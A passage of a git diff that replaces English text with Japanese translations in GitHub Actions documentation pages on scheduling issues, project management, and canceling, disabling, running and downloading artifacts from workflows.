-   - Change the value for `assignees` to the list of {% data variables.product.prodname_dotcom %} usernames that you want to assign to the issue.
-   - Change the value for `labels` to the list of labels that you want to apply to the issue.
-   - Change the value for `title` to the title that you want the issue to have.
-   - Change the value for `body` to the text that you want in the issue body. The `|` character allows you to use a multi-line value for this parameter.
-   - If you want to pin this issue in your repository, set `pinned` to `true`. For more information about pinned issues, see "[Pinning an issue to your repository](/articles/pinning-an-issue-to-your-repository)."
-   - If you want to close the previous issue generated by this workflow each time a new issue is created, set `close-previous` to `true`. The workflow will close the most recent issue that has the labels defined in the `labels` field. To avoid closing the wrong issue, use a unique label or combination of labels.
+4. ワークフローファイルのパラメータをカスタマイズします。
+   - `on.schedule` の値を変更して、このワークフローの実行日時を指定します。 上記の例では、ワークフローは毎週月曜日の 7:20 UTC に実行されます。 スケジュールされたワークフローの詳細については、「[スケジュールされたイベント](/actions/reference/events-that-trigger-workflows#scheduled-events)」を参照してください。
+   - `assignees` の値を、Issue に割り当てる {% data variables.product.prodname_dotcom %} ユーザ名のリストに変更します。
+   - `labels` の値を、Issue に適用するラベルのリストに変更します。
+   - `title` の値を、Issue に付けるタイトルに変更します。
+   - `body` の値を、Issue の本文に必要なテキストに変更します。 `|` 文字を使用すると、このパラメータに複数行の値を使用できます。
+   - この Issue をリポジトリにピン止めする場合は、`pinned` を `true` に設定します。 ピン止めされた Issue の詳細については、「[リポジトリに Issue をピン止めする](/articles/pinning-an-issue-to-your-repository)」を参照してください。
+   - 新しい Issue が作成されるたびにこのワークフローで生成された以前の Issue をクローズする場合は、`close-previous` を `true` に設定します。 ワークフローは、`labels` フィールドでラベルが定義されている最新の Issue を閉じます。 間違った Issue をクローズしないようにするには、一意のラベルまたはラベルの組み合わせを使用します。
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## 期待される結果
 
-Based on the `schedule` parameter (for example, every Monday at 7:20 UTC), your workflow will create a new issue with the assignees, labels, title, and body that you specified. If you set `pinned` to `true`, the workflow will pin the issue to your repository. If you set `close-previous` to true, the workflow will close the most recent issue with matching labels.
+`schedule` パラメータ（たとえば、毎週月曜日の 7:20 UTC）に基づいて、ワークフローは、アサインされた人、ラベル、タイトル、本文を使用して新しい Issue を作成します。 `pinned` を `true` に設定すると、ワークフローは Issue をリポジトリにピン止めします。 `close-previous` を true に設定すると、ワークフローはラベルが一致する最新の Issue をクローズします。
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+ワークフローの実行履歴を表示して、このワークフローが定期的に実行されているかどうかを確認できます。 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。
 
-## Next steps
+## 次のステップ
 
-- To learn more about additional things you can do with the `imjohnbo/issue-bot` action, like rotating assignees or using an issue template, see the [`imjohnbo/issue-bot` action documentation](https://github.com/marketplace/actions/issue-bot-action).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) for examples of workflows using this action.
+- アサインされた人のローテーションや Issue テンプレートの使用など、`imjohnbo/issue-bot` アクションで実行できるその他の操作について詳しくは、[`imjohnbo/issue-bot`アクションのドキュメント](https://github.com/marketplace/actions/issue-bot-action)をご覧ください。
+- このアクションを使用したワークフローの例については、[GitHub を検索](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) してください。
diff --git a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
index 6214081a66..a6c7e18feb 100644
--- a/translations/ja-JP/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
+++ b/translations/ja-JP/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Actions for project management
-intro: 'You can use {% data variables.product.prodname_actions %} to automate many of your project management tasks.'
+title: GitHub Actions をプロジェクト管理に使用する
+intro: '{% data variables.product.prodname_actions %} を使用して、プロジェクト管理タスクの多くを自動化できます。'
 redirect_from:
   - /actions/guides/using-github-actions-for-project-management
 versions:
@@ -15,30 +15,30 @@ shortTitle: Actions for project management
 ---
 
 
-You can use {% data variables.product.prodname_actions %} to automate your project management tasks by creating workflows. Each workflow contains a series of tasks that are performed automatically every time the workflow runs. For example, you can create a workflow that runs every time an issue is created to add a label, leave a comment, and move the issue onto a project board.
+{% data variables.product.prodname_actions %} を使用してワークフローを作成することで、プロジェクト管理タスクを自動化できます。 各ワークフローには、ワークフローが実行されるたびに自動的に実行される一連のタスクが含まれています。 たとえば、Issue が作成されるたびに実行されるワークフローを作成して、ラベルを追加したり、コメントを残したり、Issue をプロジェクトボードに移動したりすることができます。
 
-## When do workflows run?
+## ワークフローはいつ実行されますか？
 
-You can configure your workflows to run on a schedule or be triggered when an event occurs. For example, you can set your workflow to run when someone creates an issue in a repository.
+ワークフローをスケジュールで実行するか、イベント発生時にトリガーされるようにするかを設定できます。 たとえば、誰かがリポジトリに Issue を作成したときに実行するようにワークフローを設定できます。
 
-Many workflow triggers are useful for automating project management.
+多くのワークフロートリガーは、プロジェクト管理を自動化するのに役立ちます。
 
-- An issue is opened, assigned, or labeled.
-- A comment is added to an issue.
-- A project card is created or moved.
-- A scheduled time.
+- Issue がオープン、割り当て済、ラベルが付けられたとき。
+- Issue にコメントが追加されたとき。
+- プロジェクトカードが作成または移動したとき。
+- スケジュールされた時刻がきたとき。
 
-For a full list of events that can trigger workflows, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+ワークフローをトリガーできるイベントの完全なリストについては、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。
 
-## What can workflows do?
+## ワークフローでは何ができますか？
 
-Workflows can do many things, such as commenting on an issue, adding or removing labels, moving cards on project boards, and opening issues.
+ワークフローでは、Issue へのコメント、ラベルの追加または削除、プロジェクトボード上のカードの移動、Issue のオープンなど、多くのことを実行できます。
 
-You can learn about using {% data variables.product.prodname_actions %} for project management by following these tutorials, which include example workflows that you can adapt to meet your needs.
+これらのチュートリアルには、ニーズに合わせて調整できるワークフローの例が含まれており、プロジェクト管理における {% data variables.product.prodname_actions %} の使用方を学ぶことができます。
 
-- "[Adding labels to issues](/actions/guides/adding-labels-to-issues)"
-- "[Removing a label when a card is added to a project board column](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
-- "[Moving assigned issues on project boards](/actions/guides/moving-assigned-issues-on-project-boards)"
-- "[Commenting on an issue when a label is added](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
-- "[Closing inactive issues](/actions/guides/closing-inactive-issues)"
-- "[Scheduling issue creation](/actions/guides/scheduling-issue-creation)"
+- 「[Issue にラベルを追加する](/actions/guides/adding-labels-to-issues)」
+- 「[プロジェクトボードの列にカードが追加されたときにラベルを削除する](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)」
+- 「[プロジェクトボードで割り当てられたIssue を移動する](/actions/guides/moving-assigned-issues-on-project-boards)」
+- 「[ラベルが追加されたときに Issue についてコメントする](/actions/guides/commenting-on-an-issue-when-a-label-is-added)」
+- 「[非アクティブな Issue を解決する](/actions/guides/closing-inactive-issues)」
+- 「[Issue 作成をスケジュールする](/actions/guides/scheduling-issue-creation)」
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/canceling-a-workflow.md b/translations/ja-JP/content/actions/managing-workflow-runs/canceling-a-workflow.md
index f976787c52..b7bb8f50eb 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/canceling-a-workflow.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/canceling-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a workflow
-intro: 'You can cancel a workflow run that is in progress. When you cancel a workflow run, {% data variables.product.prodname_dotcom %} cancels all jobs and steps that are a part of that workflow.'
+title: ワークフローをキャンセルする
+intro: '進行中のワークフロー実行をキャンセルできます。 ワークフロー実行をキャンセルすると、{% data variables.product.prodname_dotcom %} はそのワークフローの一部であるすべてのジョブとステップをキャンセルします。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,26 +13,25 @@ versions:
 
 {% data reusables.repositories.permissions-statement-write %}
 
-## Canceling a workflow run
+## ワークフローの実行をキャンセルする
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.
-![Name of workflow run](/assets/images/help/repository/in-progress-run.png)
-1. In the upper-right corner of the workflow, click **Cancel workflow**.
+1. ワークフローの実行のリストから、キャンセルしたい`queued`もしくは`in progress`の実行の名前をクリックしてください。 ![ワークフローの実行の名前](/assets/images/help/repository/in-progress-run.png)
+1. ワークフローの右上隅にある [**Cancel workflow（ワークフローのキャンセル）**] をクリックします。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite-updated.png)
+ ![[Cancel check suite] ボタン](/assets/images/help/repository/cancel-check-suite-updated.png)
 {% else %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite.png)
+ ![[Cancel check suite] ボタン](/assets/images/help/repository/cancel-check-suite.png)
 {% endif %}
 
-## Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run
+## ワークフロー実行をキャンセルするために {% data variables.product.prodname_dotcom %} が実行するステップ
 
-When canceling workflow run, you may be running other software that uses resources that are related to the workflow run. To help you free up resources related to the workflow run, it may help to understand the steps {% data variables.product.prodname_dotcom %} performs to cancel a workflow run.
+ワークフローの実行をキャンセルする場合、ワークフローの実行に関連するリソースを使用する他のソフトウェアを実行している可能性があります。 ワークフロー実行に関連するリソースを解放するため、{% data variables.product.prodname_dotcom %} がワークフロー実行をキャンセルする際のステップを知っておくと役立つ場合があります。
 
-1. To cancel the workflow run, the server re-evaluates `if` conditions for all currently running jobs. If the condition evaluates to `true`, the job will not get canceled. For example, the condition `if: always()` would evaluate to true and the job continues to run. When there is no condition, that is the equivalent of the condition `if: success()`, which only runs if the previous step finished successfully.
-2. For jobs that need to be canceled, the server sends a cancellation message to all the runner machines with jobs that need to be canceled.
-3. For jobs that continue to run, the server re-evaluates `if` conditions for the unfinished steps. If the condition evaluates to `true`, the step continues to run.
-4. For steps that need to be canceled, the runner machine sends `SIGINT/Ctrl-C` to the step's entry process (`node` for javascript action, `docker` for container action, and `bash/cmd/pwd` when using `run` in a step). If the process doesn't exit within 7500 ms, the runner will send `SIGTERM/Ctrl-Break` to the process, then wait for 2500 ms for the process to exit. If the process is still running, the runner kills the process tree.
-5. After the 5 minutes cancellation timeout period, the server will force terminate all jobs and steps that don't finish running or fail to complete the cancellation process.
+1. ワークフローの実行をキャンセルするために、サーバーは現在実行中のすべてのジョブに対して`if`条件を再評価します。 条件が`true`に評価された場合、ジョブはキャンセルされません。 例えば、`if: always()`はtrueと評価され、ジョブの実行は継続されるでしょう。 条件がない場合は`if:success()`と等価なので、前のステップが正常に終了した場合にのみ実行されます。
+2. キャンセルする必要があるジョブについては、サーバーは、キャンセルする必要があるジョブを持つすべてのランナー マシンにキャンセル メッセージを送信します。
+3. 実行を継続するジョブの場合、サーバーは、未完了のステップの`if` 条件を再評価します。 条件が `true`に評価された場合、ステップは引き続き実行されます。
+4. キャンセルが必要なステップの場合、ランナーマシンは、ステップのエントリープロセス（javascriptアクションの`node` 、コンテナアクションの`docker` 、ステップで`run` を使用する場合は `bash/cmd/pwd`）に `SIGINT/Ctrl-C` を送信します。 プロセスが7500ミリ秒以内に終了しない場合、ランナーは `SIGTERM/Ctrl-Break` をプロセスに送信し、プロセスが終了するまで2500ミリ秒待ちます。 プロセスがそれでも実行中のままなら、ランナーはプロセスツリーを強制終了します。
+5. 5 分間のキャンセル タイムアウト期間が経過すると、サーバーは、実行を完了しないか、キャンセルプロセスを完了できなかったすべてのジョブとステップを強制的に終了します。
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/translations/ja-JP/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
index 5bdd78e23f..74ce2c76ae 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a workflow run
-intro: 'You can delete a workflow run that has been completed, or is more than two weeks old.'
+title: ワークフロー実行の削除
+intro: 完了した、または 2 週間以上経過したワークフロー実行を削除できます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,9 +16,9 @@ versions:
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. To delete a workflow run, use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, and select **Delete workflow run**.
+1. ワークフロー実行を削除するには、[ {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}] ドロップダウン メニューを使用して、[**Delete workflow run（ワークフロー実行の削除）**] を選択します。
 
-    ![Deleting a workflow run](/assets/images/help/settings/workflow-delete-run.png)
-2. Review the confirmation prompt and click **Yes, permanently delete this workflow run**.
+    ![ワークフロー実行の削除](/assets/images/help/settings/workflow-delete-run.png)
+2. 確認プロンプトを確認し、[**Yes, permanently delete this workflow run（はい、このワークフローの実行を完全に削除します）**をクリックします。
 
-    ![Deleting a workflow run confirmation](/assets/images/help/settings/workflow-delete-run-confirmation.png)
+    ![ワークフロー実行確認の削除](/assets/images/help/settings/workflow-delete-run-confirmation.png)
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/ja-JP/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
index 7d2434b60a..453140a66d 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling and enabling a workflow
-intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.'
+title: ワークフローの無効化と有効化
+intro: '{% data variables.product.prodname_dotcom %} UI、REST API、または {% data variables.product.prodname_cli %} を使用して、ワークフローを無効化したり再度有効化したりすることができます。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,39 +12,32 @@ shortTitle: Disable & enable a workflow
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}.
+ワークフローを無効にすると、リポジトリからファイルを削除することなく、ワークフローがトリガーされないようにすることができます。 {% data variables.product.prodname_dotcom %} でワークフローを簡単に再度有効にすることができます。
 
-Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful:
+ワークフローを一時的に無効にすると、多くのシナリオで役立つことがあります。 以下は、ワークフローを無効すると便利な場合の例の一部です。
 
-- A workflow error that produces too many or wrong requests, impacting external services negatively.
-- A workflow that is not critical and is consuming too many minutes on your account.
-- A workflow that sends requests to a service that is down.
-- Workflows on a forked repository that aren't needed (for example, scheduled workflows).
+- リクエストが多すぎるまたは間違っていて、外部サービスに悪影響を与えるワークフローエラー。
+- 重要ではないが、アカウントの時間を消費しすぎるワークフロー。
+- ダウンしているサービスにリクエストを送信するワークフロー。
+- フォークされたリポジトリ上の不要なワークフロー（スケジュールされたワークフローなど）。
 
 {% warning %}
 
-**Warning:** {% data reusables.actions.scheduled-workflows-disabled %}
+**警告：** {% data reusables.actions.scheduled-workflows-disabled %}
 
 {% endwarning %}
 
-You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)."
+REST API を使用して、ワークフローを無効化または有効化することもできます。 詳しい情報については、「[Actions REST API](/rest/reference/actions#workflows)」を参照してください。
 
-## Disabling a workflow
-
-{% include tool-switcher %}
+## ワークフローの無効化
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to disable.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png)
-1. Click **Disable workflow**.
-![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)
-The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status.
-![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png)
+1. 左サイドバーで、無効にするワークフローをクリックします。 ![アクション選択ワークフロー](/assets/images/actions-select-workflow.png)
+1. {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックします。 ![アクションケバブメニュー](/assets/images/help/repository/actions-workflow-menu-kebab.png)
+1. [**Disable workflow**] をクリックします。 ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)無効化されたワークフローには、そのステータスを示すために {% octicon "stop" aria-label="The stop icon" %} のマークが付けられます。 ![無効なワークフローをリストするアクション](/assets/images/help/repository/actions-find-disabled-workflow.png)
 
 {% endwebui %}
 
@@ -52,7 +45,7 @@ The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+ワークフローを無効化するには、`workflow disable` サブコマンドを使用します。 `workflow` を、無効化するワークフローの名前、ID、またはファイル名のいずれかに置き換えます。 たとえば、`"Link Checker"`、`1234567`、`"link-check-test.yml"` などです。 ワークフローを指定しない場合、{% data variables.product.prodname_cli %} はワークフローを選択するためのインタラクティブメニューを返します。
 
 ```shell
 gh workflow disable <em>workflow</em>
@@ -60,26 +53,22 @@ gh workflow disable <em>workflow</em>
 
 {% endcli %}
 
-## Enabling a workflow
-
-{% include tool-switcher %}
+## ワークフローの有効化
 
 {% webui %}
 
-You can re-enable a workflow that was previously disabled.
+以前、無効化したワークフローを再度有効化することができます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to enable.
-![actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png)
-1. Click **Enable workflow**.
-![actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png)
+1. 左サイドバーで、有効にするワークフローをクリックします。 ![無効なワークフローを選択するアクション](/assets/images/help/repository/actions-select-disabled-workflow.png)
+1. [**Enable workflow**] をクリックします。 ![ワークフローを有効にするアクション](/assets/images/help/repository/actions-enable-workflow.png)
 
 {% endwebui %}
 
 {% cli %}
 
-To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+ワークフローを有効化するには、`workflow enable` サブコマンドを使用します。 `workflow` を、有効化するワークフローの名前、ID、またはファイル名のいずれかに置き換えます。 たとえば、`"Link Checker"`、`1234567`、`"link-check-test.yml"` などです。 ワークフローを指定しない場合、{% data variables.product.prodname_cli %} はワークフローを選択するためのインタラクティブメニューを返します。
 
 ```shell
 gh workflow enable <em>workflow</em>
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/ja-JP/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
index 4ab8536d23..8b9cebfa41 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
@@ -1,6 +1,6 @@
 ---
-title: Downloading workflow artifacts
-intro: You can download archived artifacts before they automatically expire.
+title: ワークフローの成果物をダウンロードする
+intro: アーカイブされた成果物は、自動的に有効期限切れになる前にダウンロードできます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,19 +16,17 @@ By default, {% data variables.product.product_name %} stores build logs and arti
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click the artifact you want to download.
+1. [**Artifacts**] の下で、ダウンロードする成果物をクリックします。
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png)
+    ![成果物のダウンロードのドロップダウンメニュー](/assets/images/help/repository/artifact-drop-down-updated.png)
     {% else %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png)
+    ![成果物のダウンロードのドロップダウンメニュー](/assets/images/help/repository/artifact-drop-down.png)
     {% endif %}
 
 {% endwebui %}
@@ -37,27 +35,27 @@ By default, {% data variables.product.product_name %} stores build logs and arti
 
 {% data reusables.cli.cli-learn-more %}
 
-{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory.
+{% data variables.product.prodname_cli %} は、成果物の名前に基づいて各成果物を個別のディレクトリにダウンロードします。 成果物が 1 つだけ指定されている場合は、現在のディレクトリに抽出されます。
 
-To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+ワークフローの実行によって生成されたすべての成果物をダウンロードするには、`run download` サブコマンドを使用します。 `run-id` を、成果物のダウンロード元の実行 ID に置き換えます。 `run-id` を指定しない場合、{% data variables.product.prodname_cli %} は、最近の実行を選択するためのインタラクティブメニューを返します。
 
 ```shell
 gh run download <em>run-id</em>
 ```
 
-To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download.
+実行から特定の成果物をダウンロードするには、`run download` サブコマンドを使用します。 `run-id` を、成果物のダウンロード元の実行 ID に置き換えます。 `artifact-name` を、ダウンロードする成果物の名前に置き換えます。
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name</em>
 ```
 
-You can specify more than one artifact.
+複数の成果物を指定できます。
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
 ```
 
-To download specific artifacts across all runs in a repository, use the `run download` subcommand.
+リポジトリ内のすべての実行にわたって特定の成果物をダウンロードするには、`run download` サブコマンドを使用します。
 
 ```shell
 gh run download -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/index.md b/translations/ja-JP/content/actions/managing-workflow-runs/index.md
index 257ecba45f..d6244c0029 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/index.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing workflow runs
-shortTitle: Managing workflow runs
+title: ワークフロー実行を管理する
+shortTitle: ワークフロー実行を管理する
 intro: 'You can re-run or cancel a workflow, {% ifversion fpt or ghes > 3.0 or ghae %}review deployments, {% endif %}view billable job execution minutes, and download artifacts.'
 redirect_from:
   - /actions/configuring-and-managing-workflows/managing-a-workflow-run
@@ -25,5 +25,6 @@ children:
   - /downloading-workflow-artifacts
   - /removing-workflow-artifacts
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/ja-JP/content/actions/managing-workflow-runs/manually-running-a-workflow.md
index 249fc20534..08933ab939 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/manually-running-a-workflow.md
+++ b/translations/ja-JP/content/actions/managing-workflow-runs/manually-running-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Manually running a workflow
-intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.'
+title: ワークフローの手動実行
+intro: 'ワークフローが `workflow_dispatch` イベントで実行されるように設定されている場合、{% data variables.product.prodname_dotcom %}、{% data variables.product.prodname_cli %}、または REST API の [Actions] タブを使用してワークフローを実行できます。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,26 +12,21 @@ shortTitle: Manually run a workflow
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a workflow to run manually
+## ワークフローを手動実行する設定
 
-To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event. To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)".
+ワークフローを手動で実行するには、`workflow_dispatch` イベントで実行するようにワークフローを設定する必要があります。 To trigger the `workflow_dispatch` event, your workflow must be in the default branch. `workflow_dispatch`イベントの設定に関する詳しい情報については「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows#workflow_dispatch)」を参照してください。
 
 {% data reusables.repositories.permissions-statement-write %}
 
 ## Running a workflow
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to run.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Above the list of workflow runs, select **Run workflow**.
-![actions workflow dispatch](/assets/images/actions-workflow-dispatch.png)
-1. Use the **Branch** dropdown to select the workflow's branch, and type the input parameters. Click **Run workflow**.
-![actions manually run workflow](/assets/images/actions-manually-run-workflow.png)
+1. 左側のサイドバーで、実行するワークフローをクリックします。 ![アクション選択ワークフロー](/assets/images/actions-select-workflow.png)
+1. ワークフロー実行の一覧の上にある**Run workflow（ワークフローの実行）**を選択します。 ![アクション ワークフローのディスパッチ](/assets/images/actions-workflow-dispatch.png)
+1. Use the **Branch** dropdown to select the workflow's branch, and type the input parameters. **Run workflow（ワークフローの実行）**をクリックします。 ![アクションはワークフローを手動で実行します](/assets/images/actions-manually-run-workflow.png)
 
 {% endwebui %}
 
@@ -39,31 +34,31 @@ To run a workflow manually, the workflow must be configured to run on the `workf
 
 {% data reusables.cli.cli-learn-more %}
 
-To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+ワークフローを実行するには、`workflow run` サブコマンドを使用します。 `workflow` パラメータを、実行するワークフローの名前、ID、またはファイル名のいずれかに置き換えます。 たとえば、`"Link Checker"`、`1234567`、`"link-check-test.yml"` などです。 ワークフローを指定しない場合、{% data variables.product.prodname_cli %} はワークフローを選択するためのインタラクティブメニューを返します。
 
 ```shell
 gh workflow run <em>workflow</em>
 ```
 
-If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file.
+ワークフローに入力可能な場合、{% data variables.product.prodname_cli %} は入力を求めるプロンプトを表示します。 または、`-f` または `-F` を使用して、`key=value` 形式で追加入力をすることもできます。 ファイルから読み込むには `-F` を使用します。
 
 ```shell
 gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt
 ```
 
-You can also pass inputs as JSON by using standard input.
+標準入力を使用して、入力を JSON として渡すこともできます。
 
 ```shell
 echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json
 ```
 
-To run a workflow on a branch other than the repository's default branch, use the `--ref` flag.
+リポジトリのデフォルトブランチ以外のブランチでワークフローを実行するには、`--ref` フラグを使用します。
 
 ```shell
 gh workflow run <em>workflow</em> --ref <em>branch-name</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+ワークフロー実行の進行状況を表示するには、`run watch` サブコマンドを使用して、インタラクティブリストから実行を選択します。
 
 ```shell
 gh run watch
@@ -71,8 +66,8 @@ gh run watch
 
 {% endcli %}
 
-## Running a workflow using the REST API
+## REST API を使用してワークフローを実行する
 
-When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used.
+REST API を使用する場合は、 `inputs`と`ref`をリクエストボディのパラメータとして設定してください。 入力を省略すると、ワークフローファイルで定義されているデフォルト値が使用されます。
 
-For more information about using the REST API, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)."
+REST API の使用の詳細については、「[ワークフローディスパッチ イベントの作成](/rest/reference/actions/#create-a-workflow-dispatch-event)」を参照してください。
diff --git a/translations/ja-JP/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/ja-JP/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
index 60aff0be96..1c1ae700ea 100644
--- a/translations/ja-JP/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
